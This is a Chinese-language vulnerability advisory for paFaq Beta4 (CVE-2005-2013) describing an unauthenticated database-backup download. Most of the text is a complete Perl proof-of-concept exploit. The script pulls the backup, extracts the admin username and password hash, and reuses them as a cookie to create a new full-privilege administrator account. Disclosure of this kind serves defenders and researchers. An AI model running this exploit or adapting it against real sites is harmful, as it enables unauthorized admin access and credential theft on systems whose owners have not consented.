发布日期：2005-06-22
更新日期：2005-06-22

受影响系统：

PHP Arena paFaq Beta4

描述：

---

BUGTRAQ  ID: 13999
CVE(CAN) ID: CVE-2005-2013

paFAQ是一款FAQ/知识库系统，允许版主维护FAQ数据库。

paFaq中存在非授权访问漏洞，远程攻击者可以利用检索到的管理员用户名和口令哈希获得对数据库的管理访问。

起因是没有正确的对backup.php脚本执行访问验证。远程未经认证的用户可以调用这个脚本检索到完整的数据库备份。



<*来源：James Bercegay （security@gulftech.org）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=111928841328681&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl -w
##########################################################################
# paFaq 1.0 Add Administrator PoC // By James // http://www.gulftech.org
##########################################################################

use LWP::UserAgent;

# Set up the LWP User Agent
$ua = new LWP::UserAgent;
$ua->agent("paFaq Hash Grabber v1.0");

if ( !$ARGV[0] ) { print "Usage : pafaq.pl http://path/to/pafaq"; exit; }

my $key_time = time();

my $dbm_path = $ARGV[0] . '/admin/backup.php';
my $add_user = 'pafaq'; # change this?
my $add_pass = 'pafaq'; # change this?
my $add_email = 'pafaq@dev.null'; # change this?
my $add_path = $ARGV[0] . '/admin/index.php?area=users&act=doadd&name=' . $add_user . '&password=' . $add_pass . '&email=' . $add_email . '&notify=1&can_edit_settings=1&can_edit_admins=1&can_add_admins=1&can_del_admins=1&is_a_admin=1';

print "[*] Trying Host " . $ARGV[0] . "\n";

my $dbm = $ua->get($dbm_path);

if ( $dbm->content =~ /'([0-9]{1,8})',\s'(.*)',\s'([a-f0-9]{32})'/i)
{
    print "[+] User ID Is " . $1 . "\n";
    print "[+] User Name Is " . $2 . "\n";
    print "[+] User Password Is " . $3 . "\n";
    print "[*] Trying to add new user ...\n";
    
    my @cookie = ('Cookie' => 'pafaq_user=' . $2 . '; pafaq_pass=' . $3);
    my $add = $ua->get($add_path, @cookie);
    
    if ( $add->content =~ /has been created successfully/ )
    {
        print "[+] User $add_user Added Successfully!\n";
        print "[+] User Password Is $add_pass\n";        
    }
    else
    {
        print "[!] Unable To Add User! Maybe the username is already taken? ...\n";
        print "[!] Shutting Down ...\n";
        exit;    
    }
}
else
{
    print "[!] The Host Is Not Vulnerable ...\n";
    print "[!] Shutting Down ...\n";
    exit;
}
exit;

--------------080902040703020805080705--

建议：

---

厂商补丁：

PHP Arena
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

www.phparena.net

浏览次数：2637
严重程度：0（网友投票）